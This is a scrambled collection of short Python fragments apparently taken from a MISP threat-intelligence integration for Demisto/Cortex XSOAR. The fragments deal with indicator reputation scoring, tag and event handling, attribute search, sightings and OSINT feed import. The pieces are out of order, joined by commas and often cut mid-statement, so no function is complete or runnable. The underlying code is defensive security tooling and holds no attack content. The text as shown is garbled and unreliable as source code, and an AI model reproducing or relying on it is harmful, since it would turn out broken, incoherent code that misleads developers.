if attribute.get('Tag'): limit_tag_output,", "= reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP", "k, v in args.items()] def build_generic_object(template_name: str, args: List[dict]) ->", "= PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed", "Function will add tag to given UUID of event or", "return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def", "search using the 'event' controller. \"\"\" args = prepare_args_to_search('events') page", "nor malicious will be scored by their event's threat level", "value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP for value:", "None def get_new_misp_event_object(args): \"\"\" Create a new MISP event object", "on the called function\"\"\" if given_object.get('Galaxy'): given_object['Galaxy'] = [ {", "include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found =", "'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing': 1, 'completed':", "is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is not", "malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match", "Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params", "malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B", "def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if", "can be full of in unnecessary data, we want to", "if event.get('publish_timestamp'): attribute['Event']['publish_timestamp'] = misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids =", "and tag exist.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable", "last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if", "is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\"", "please see UT: test_extract_error. Args: error: list of responses from", "Args: error: list of responses from error section Returns: List[Dict[str,", "{uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def", "a MISP search using the 'event' controller. \"\"\" args =", "'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation':", "attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults:", "if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None", "for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key", "malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function searches for the", "distribution else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True)", "malicious and suspicious) are stronger than events' tags. \"\"\" found_tag", "is stronger than recognised as suspicious). \"\"\" common_ids = set(malicious_tag_ids)", "Category': outputs[0].get('Category'), 'Timestamp': outputs[0].get('Timestamp'), 'Events with the scored tag': events_to_human_readable,", "detected as related to the tag. \"\"\" scored_events = []", "= attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category", "= 1 if demisto_args.get( 'include_feed_correlations') == 'true' else 0 args_to_misp_format.pop('include_feed_correlations')", "Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'),", "does not contains any of the complex operators the original", "isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return", "{tag} has been successfully added to event {uuid}' return CommandResults(", "raise DemistoException('ID or UUID not specified') sighting_args = { 'id':", "\"FILE\": hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score,", "\"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not = r'(NOT:)([^\\;]+)(;)?'", "to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this", "} THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium': 2, 'Low': 3,", "GenericObjectGenerator: object created in MISP Example: args should look like:", "obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building url", "= json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for", "def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids)", "elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args,", "else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if", "MISPObject): \"\"\"Sending object to MISP and returning outputs Args: obj:", "is_event_tag_malicious = any((found_tag := tag) in event_tags_ids for tag in", "add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \"\"\"Gets an OSINT feed", "readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id =", "DemistoException('Attribute limit has to be a positive number.') response =", "e: raise DemistoException( f'`attribute` parameter could not be decoded, may", "request found_tag (str): The tag that was scored as malicious", "= get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash length,", "which match the required indicator value, this function parses the", "for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag #", "ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag']", "operators is optional. if 'demisto_query' does not contains any of", "be scored 3 (i.e malicious). * have tags which configured", "if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)}", "text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj", "object Returns: GenericObjectGenerator: object created in MISP Example: args should", "indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable =", "'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to", "try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except PyMISPError as", "import GenericObjectGenerator import copy from pymisp.tools import FileObject from CommonServerPython", "be malicious is stronger than recognised as suspicious). \"\"\" common_ids", "the UUID exists.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable", "== 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command", "tags and event tags). Args: value (str): The indicator value", "include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True)", "args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format: args_to_misp_format['to_ids'] = 1", "suspicious. Args: all_attributes (dict): The parsed response from the MISP", "'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif", "event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id =", "failed. Please make sure the UUID exists.\") if is_attribute: response", "reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',')", "command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif", "outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events found in", "will be BAD if the threat level id is in", "'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = {", "the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object,", "dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution =", "else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if", "page {page}\" md = tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n", "ignore from typing import Union, List, Dict from urllib.parse import", "as e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__", "\"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type',", "if limit and limit < 0: raise DemistoException(\"limit should be", "raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update attribute\\nAttribute: {attribute_uuid} was", "args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if", "command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) return command_results def", "str): response_object = json.loads(json.dumps(response_object)) events = [event.get('Event') for event in", "= [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids,", "CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will add", "outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \"\"\"", "0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] = 1 if demisto_args.get('include_correlations')", "for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i])", "} def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list can be", "'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution': 'Distribution', 'type':", "the given UUID is an attribute's one. Otherwise it's event's.", "original input \"\"\" regex_and = r'(AND:)([^\\;]+)(;)?' regex_or = r'(OR:)([^\\;]+)(;)?' regex_not", "[] if found_tag: for attribute in all_attributes: event = attribute.get('Event',", "get rid of this useless list event = attribute.get('Event') convert_timestamp_to_readable(attribute,", "'and_parameters') is_complex_or_operator = is_misp_complex_search_helper(match_or, misp_query_params, 'or_parameters') is_complex_not_operator = is_misp_complex_search_helper(match_not, misp_query_params,", "\"\"\" Function will add tag to given UUID of event", "{args}\") def delete_event(demisto_args: dict): \"\"\" Gets an event id and", "PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An error was occurred: {response.get('message')}\")", "malicious_description=\"Match found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes", "'attribute_count': 'AttributeCount', 'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail',", "def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets 2 sets which include tag", "args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last'", "'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input':", "response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\"Error:", "= misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events) # type:", "the API key and the URL are correct\" in error:", "Execute a MISP search using the 'event' controller. \"\"\" args", "err[1].get('message'), 'errors': err[1].get('errors') } for err in error] def dict_to_generic_object_format(args:", "score will be BAD if the threat level id is", "by their event's threat level id. In such case, the", "return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \"\"\"Gets", "not attributes_list: return None for attribute in attributes_list: attribute.pop(\"RelatedAttribute\") #", "convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object", "data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID') def get_dbot_indicator(dbot_type,", "== 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command", "for example) Args: event_id (int): Event ID to add attribute", "any other case, we won't add the tag. Args: attribute_dict", "'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command", "was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting \\'{sighting_type}\\' has", "for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp']", "misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in", "== 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command", "handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY,", "value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches for", "false), and the tag is only related to an attribute", "found_tag, event_name): \"\"\" By the given object we go over", "f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-events returned {len(response_for_context)}", "in range(0, len(events)): # Filter object from keys in event_args", "the response. This function goes over all the attributes that", "event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag = get_score(attribute_tags_ids=attributes_tag_ids,", "== 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command", "keys from MISP's format to Demisto's (as appear in ENTITIESDICT)", "if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results = len(response_for_context)", "with their events objects. Note: When limits the attributes amount,", "re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given domain: {value} is not", "get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP", "When limits the attributes amount, we sort the attributes list", "ValueError as e: raise DemistoException(f'URL [{url}] is not a valid", "the data is attribute's (is_event_level = false), and the tag", "to 1 it says that it is an event's tag.", "sub-functions calculated the score of the indicator. For the context", "in range(len(attributes)): attributes[i] = {key: attributes[i].get(key) for key in ATTRIBUTE_FIELDS", "tags have a field called inherited. When it is set", "= limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False)", "[ {'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def", "except ValueError as e: raise DemistoException( f'`attribute` parameter could not", "'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation',", "MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject): \"\"\"Sending", "not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\"", "} SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration'", "args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink':", "replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() } return obj_to_build def", "Timestamp': event.get('PublishTimestamp'), 'Event Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event", "else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc})", "return_error('Unable to connect to MISP because of a NewConnectionError, '", "it is set to 0 or not exists) it says", "in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event,", ") def add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP attribute \"\"\"", "in the malicious one (as a tag that was configured", "= [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get( 'Tag') else", "by sub-functions calculated the score of the indicator. For the", "{args}\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\" Convert the", "return True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level):", "= category if value: attribute_instance.value = value if comment: attribute_instance.comment", "is Unknown so no events should be found. Returns: list", "events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output", "and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj)", "= attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')]", "information is too big. User can use the command search-attributes", "in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns", "url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string':", "{demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): \"\"\" Gets", "'1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE,", "if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution]", "== len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was", "= comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen", "= f\"## MISP update attribute\\nAttribute: {attribute_uuid} was updated.\\n\" attribute =", "return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \"\",", "build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else", "= argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if", "given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [ {", "= PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An error was occurred:", "misp_response = PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True)", "is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score by following logic. Indicators", "command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True))", "= create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict)", "import FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if", "return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object':", "OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name':", "calculates it's dbot score. The score is calculated by the", "misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller):", "filters: {args}\") def build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\" Convert", "This function can be called as an independence command or", "else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password", "response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response)", "= argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list:", "value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): \"\"\"Building url object", "add tag to given UUID of event or attribute. is_attribute", "False if match_operator is not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search", "def handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable to connect to", "= [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url", "by following logic. Indicators of attributes and Events that: *", "= limit_tag_output attributes_tag_ids.update(tag_ids) return found_related_events, attributes_tag_ids, event_tag_ids def convert_timestamp_to_readable(attribute, event):", "args: dictionary describes MISP object Returns: list: list containing dicts", "{arg: demisto_args[arg] for arg in MISP_SEARCH_ARGUMENTS if arg in demisto_args}", "will be used only in output hash_format = get_hash_type(value) if", "in range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i])", "if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None", "in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if", "demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen')", "'uuid', 'to_ids', 'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations',", "demisto_args['type'] # mandatory arg att_id = attribute_id or attribute_uuid if", "def add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP attribute \"\"\" attribute_id", "not post results to Demisto demisto_args (dict): Demisto args new_event", "true) we would like to add to tag_set_ids all the", "= { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format':", "= datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args:", "suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag,", "like to add it to tag_set_ids. In any other case,", "the Trust any certificate option.') if \"NewConnectionError\" in error: return_error('Unable", "url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \"\"\"Gets an", "outputs_key_field=\"ID\" ) else: return CommandResults(readable_output=f\"No events found in MISP for", "== 'IP': if not is_ip_valid(value): raise DemistoException(f\"Error: The given IP", "get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score", "= true) we would like to add to tag_set_ids all", "attribute or event, depends on the called function\"\"\" if given_object.get('Tag'):", "FileObject from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\"", "from the MISP search attribute request found_tag (str): The tag", "is 4 = Unknown. note: - In case the same", "def pagination_args_validation(page, limit): if page and page < 0: raise", "not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1]", "'true' else 0 if 'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1", "a valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_',", "suspicious). \"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id", "won't add the tag. Args: attribute_dict (dict): The dictionary that", "related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i] not", "removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Event\", outputs_key_field=\"ID\" ) else:", "replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: \"\"\" Replacing", "not None: misp_query_params[operator_key] = match_operator.group(2).split(',') is_complex_search = True return is_complex_search", "verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event)", "MISP_ENTITIES_TO_CONTEXT_DATA = { 'deleted': 'Deleted', 'category': 'Category', 'comment': 'Comment', 'uuid':", "20), \"attributes_limit\", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is", "added to attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was", "= MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip',", "id. In such case, the score will be BAD if", "\"\"\" As tag list can be full of in unnecessary", "def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the given object we", "in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True", "Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args:", "pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools", "'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1,", "\"\"\" response_object = copy.deepcopy(response) if include_correlations: # return full related", "def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"] for event in", "complex operators the original input will be returned Returns: str:", "obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds", "event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return", "= replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object has been added", "another command (create event for example) Args: event_id (int): Event", "Args: args: dictionary describes MISP object Returns: list: list containing", "added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids,", "dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The", "'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score',", "to include only the ID and Name fields. In addition,", "SSLCertVerificationError, ' 'Please try to use the Trust any certificate", "misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text':", "connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url = url[:-1] if", "and page < 0: raise DemistoException(\"page should be zero or", "match the required indicator value, this function parses the response.", "data outputs, for every attribute we remove the \"Related Attribute\"", "attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object',", "attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in", "response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An error was", "attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category:", "format MD5, SHA-1 or SHA-256') if dbot_type == 'IP': if", "add to tag_set_ids all the tags (event ones and the", "to connect to MISP because of a SSLCertVerificationError, ' 'Please", "limit = arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list = requests.get(osint_url,", "url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else", "'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1", "get_new_misp_event_object(args): \"\"\" Create a new MISP event object and set", "the indicator score by following logic. Indicators of attributes and", "requests.Response]) -> list: \"\"\"returns list of attributes' values that match", "page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit', 50),", "attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if not new_event: response", "has been successfully removed from the attribute {uuid}' return CommandResults(", "\"3\"] for event in found_related_events.values(): if event['Threat Level ID'] in", "argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args", "'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip':", "{tag} has been successfully added to attribute {uuid}' return CommandResults(", "add attribute\\nNew attribute: {value} was added to event id {new_event.id}.\\n\"", "response_object] for i in range(0, len(events)): # Filter object from", "response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current", "are shared by the events found_tag_id = event.pop('Tag_ID') found_tag_name =", "is an attribute level, default is '0' tag_id = tag.get('id')", "attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment", "related attributes only if the user wants to get them", "indicator Please see an example for a response in test_data/reputation_command_response.json", "= is_complex_and_operator or is_complex_or_operator or is_complex_not_operator if is_complex_search: return PYMISP.build_complex_query(**misp_query_params)", "star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] =", "{value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'},", "attributes amount to the given limit) and by sub-functions calculated", 